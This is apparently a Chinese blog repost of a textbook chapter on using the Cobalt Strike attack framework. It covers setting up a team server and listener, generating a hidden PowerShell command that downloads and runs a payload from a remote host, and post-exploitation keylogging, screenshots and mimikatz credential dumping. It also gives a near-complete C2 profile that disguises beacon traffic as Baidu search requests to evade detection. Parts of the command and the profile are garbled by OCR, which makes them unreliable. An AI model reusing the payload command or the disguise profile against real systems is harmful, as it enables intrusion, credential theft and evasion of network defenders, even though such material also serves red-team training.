本文主要是介绍Cobalt Strike 的使用及拓展,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
Cobalt Strike是一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端 口转发、服务扫描、 自动化溢出、多模式端口监听、exe 、PowerShell木马生成
等,主要用于团队作战,能让多个渗透者同时连接到团体服务器上,共享渗透资 源、 目标信息和sessions 。Cobalt Strike作为一款协同APT工具,其针对内网的渗 透测试和作为APT的控制终端的功能,使其变成众多APT组织的首选。运行Cobalt Strike时需要安装好Java环境,可以选择Oracle Java 1.8 、Oracle Java 11或OpenJDK 11进行安装。
Cobalt Strike 的基本架构如下:
── agscript 拓展脚本
── c2lint 检查 c2 通信配置文件错误
── cobaltstrike
── cobaltstrike .auth 认证文件
── cobaltstrike .jar 客户端主程序
── icon .jpg
── license .pdf
── logs 记录 cs 中所有事件,按日期格式区分
── readme .txt
── releasenotes .txt
── teamserver 团队服务器
── teamserver_win .bat
── third-party 第三方模块,下面是 vnc
├── README .winvnc .txt
──── winvnc(winvnc) .(.)x86(x64) .(.)d(d)l(l)l(l)
1.启动团队服务器
启动团队服务器(TeamServer),需要以root身份运行,并且需要添加两个 必选参数。第一个是团队服务器的外部可访问地址,第二个是用于团队成员将
Cobalt Strike客户端连接到团队服务器的密码。本节示例IP为192.168.111.128 ,登 录密码设置为test ,如图11-1所示。
图11-1 启动Cobalt Strike服务
2.连接团队服务器
图11-2 连接服务
在命令终端运行Cobalt Strike ,填写IP地址为192.168.111.128 ,Cobalt Strike启 动时的默认端口为50050 ,昵称可以根据自己的喜好填写,这里写成neo ,密码为 服务端启动时设置的密码admin ,详细配置信息如图11-2所示。
点击Connect按钮后便成功登录团队服务器。如图11-3所示为成功登录后的 Cobalt Strike运行界面。Cobalt Strike 的主界面主要分为菜单栏、快捷功能区、 目 标列表区、控制台命令输出区和控制台命令输入区。
·菜单栏:集成了Cobalt Strike 的所有功能。
· 快捷功能区:列出了常用功能。
· 目标列表区:根据不同的显示模式,显示已获取权限的主机及目标主机。
·控制台命令输出区:输出命令执行结果。
·控制台命令输入区:用户输入的命令。
图11-3 登入服务
3.建立Listener
现在可以利用Cobalt Strike获取一个Beacon 。可以通过在菜单栏选择Cobalt Strike →Listeners命令进入Listeners面板,如图11-4所示。
图11-4 进入Listeners面板
在Listeners面板中点击Add按钮,新建一个监听器,如图11-5所示。
图11-5 创建监听器
在弹出的对话框中点击Save按钮后会弹出一个窗口,依次在窗口中输入名
称、监听类型、Cobalt Strike运行服务的IP地址、监听端口号。其中,监听器一共 有9种类型,beacon系列为Cobalt Strike 自带类型,分别有DNS 、HTTP 、HTTPS 、 SMB 、TCP 。foreign系列用于配合外部监听器,可使用其他主机远程控制Cobalt Strike 中的主机,一般配合MSF使用。这里选择监听器类型为HTTP方式,点击
Save按钮进行保存,如图11-6所示。
图11-6 HTTP方式监听
4.生成Payload
这里使用Web Delivery生成一个Payload 。在菜单栏中依次选择Attacks →Web Drive-by → Scripted Web Delivery命令,如图11-7所示。
图11-7 生成Payload
保持默认配置,选择已经创建的监听器,设置类型为powershell ,然后点击 Launch按钮,如图11-8所示。
点击Launch按钮以后,会出现一段powershell类型的Payload代码,如下所
powershell.exe -nop -w hidden -c "IEX ((new-object string('http://192.168.111.128 :80/a'))" | net.webclient) .download |
图11-8 PowerShell方式
图11-9 运行命令
执行该命令后便会回连,Cobalt Strike 目标列表中会显示目标服务器IP地址、 出口地址、当前用户、计算机名、当前Beacon的pid号以及响应时间,如图11-10 所示。
图11-10 成功回连
Cobalt Strike默认Beacon是60s响应一次。为了方便使用,这里设置成0s 。选 中需要操作的Beacon ,右击,然后选择Interact命令进入主机交互模式,如图11-11 所示。
在控制台命令输出区输入sleep 0命令后,等待60s ,此时便改成了与目标主机 进行实时响应,如图11-12所示。
除了以上的powershell类型反弹Beacon的方式以外,Listeners模块中也集成了 许多其他的Payload形式,如表11-2所示。
图11-11 进入交互模式
图11-12 修改时间
表11-2 Listener模块的所有Payload
5.基本操作
Cobalt Strike工具集成了大量便捷的命令模式,简化了以后渗透攻击过程中复 杂的信息搜集、提权、跳板等一系列操作。例如,可以尝试使用ps命令,或者用 右击并选择Explore →Process list命令的方式查看当前进程,如图11-13和图11-14所 示。
图11-13 用命令行的方式查看进程
图11-14 用右击的方式查看进程
使用screenshot命令对目标主机进行截屏,可通过View → Screenshots选项查看 截屏内容,如图11-15所示。
图11-15 查看截屏内容
同样,在Cobalt Strike 中也可以使用键盘记录功能,如图11-16所示。
图11-16 键盘记录
用View →Keystokes选项查看键盘记录,如图11-17所示。
图11-17 查看键盘记录
Cobalt Strike工具中还加入了mimikatz\logonpasswords等抓取凭证功能,可以 对目标主机进行口令抓取,如图11-18所示。
图11-18 抓取凭证
Cobalt Strike 中集成的命令还有很多,此处就不一一介绍了,读者可在与目标 的交互界面中输入help或者“ ?”进行查询,执行结果如图11-19所示。
图11-19 查看功能信息
6.C2通信配置文件
为了保证通信过程中的数据更加安全可靠,我们也可以通过修改beacon特 征,伪装流量,来使通信更隐蔽,单一团队服务器只能加载一个profile 。这里通 过抓包来看一下Cobalt Strike 的默认通信特征,如下所示。
这里可以通过编写一个简单的C2配置来修改通信特征。我们可以模仿 baiduspider通信,建立一个baidu.profile文件。
1)设置项目名字:
set sample_name "Baidu Profile"; |
2)设置beacon每次回连的时间,系统默认为60s ,为了增加隐蔽性,此处设 置为1000s回连一次,如下所示: |
set sleeptime "1000"; |
3)设置随机抖动时间: |
set jitter "17"; |
4)设置baiduspider的User Agent标识: |
set useragent "Mozilla/5 .0 (compatible; Baiduspider/2 .0; +http://www .baidu . com/search/spider .html)"; |
5)设置beacon http请求事件,这里使用Get方式模仿一个百度搜索的过程:
server { header "Server" "BWS/1 .0"; header "Set-Cookie" "delPer=0; path=/; domain= .baidu .com"; header "Cache- Control" "private"; header "Connection" "keep-alive"; header "Content-Encoding" "gzip"; header "Content-Type" "text/html;charset=utf-8"; header "Vary" "Accept-Encoding"; output { prepend "<div><div id=\"__status\">-12</div><div id=\"__redirect\">0</div><div id=\"__switchtime\">0</div><div id=\"__querySign\">e95d0ebc1edd32aa</ div><script id=\"__sugPreInfo\">{\"prefix\" :\"ss\",\"presearch\" :\"0\", \"query\" : \"ss\",\"sug\" :\"\",\"ps\" :\"0 .000611\",\"ss\" :\"0 .000000\", \"debug\ " :\"0232\",\"wd\" :"; append "}</script></div>"; print; } } client { header "Accept" "*/*"; header "Accept-Language" "en,zh-CN;q=0 .9,zh;q=0 .8"; header "Host" "www . baidu .com"; header "s_referer" "https://www .baidu .com/"; metadata { mask; base64url; parameter "isid"; } } } |
6)使用Post的方式模拟百度搜索: |
http-post {
set uri "/s/ie=utf-8&newi=1&mod=11&isbd=1";
server {
header "Server" "BWS/1 .0";
header "Set-Cookie" "delPer=0; path=/; domain= .baidu .com"; header "Cache- Control" "private";
header "Connection" "keep-alive";
header "Content-Encoding" "gzip";
header "Content-Type" "text/html;charset=utf-8";
header "Vary" "Accept-Encoding";
output {
prepend "<div><div id=\"__status\">-12</div><div id=\"__redirect\">0</div><div id=\"__switchtime\">0</div><div id=\"__querySign\">e95d0ebc1edd32aa</
div><script id=\"__sugPreInfo\">{\"prefix\" :\"ss\",\"presearch\" :\"0\", \"query\" : \"ss\",\"sug\" :\"\",\"ps\" :\"0 .000611\",\"ss\" :\"0 .000000\", \"debug\ " :\"0232\",\"wd\" :";
append "}</script></div>";
print;
}
}
client {
header "Accept" "*/*";
header "Accept-Language" "en,zh-CN;q=0 .9,zh;q=0 .8"; header "Host" "www .
baidu .com";
header "s_referer" "https://www .baidu .com/";
id {
parameter "isid";
}
output {
mask;
base64url;
print;
最后使用c2lint检查C2配置,如下所示。
使用团队服务器加载刚刚编写好的C2配置文件,如下所示:
加载完成后反弹一个shell看一下实际效果,如下所示:
使用Wireshark抓取数据包,查看通过C2配置文件后的流量情况,如图11-20
和图11-21所示。
图11-20 抓取的数据位置
图11-21 抓包的数据
通过抓取的数据包可以发现,所有流量都通过刚刚编写的文件进行了修改, 从而增加了shell的隐秘性。
这篇关于Cobalt Strike 的使用及拓展的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!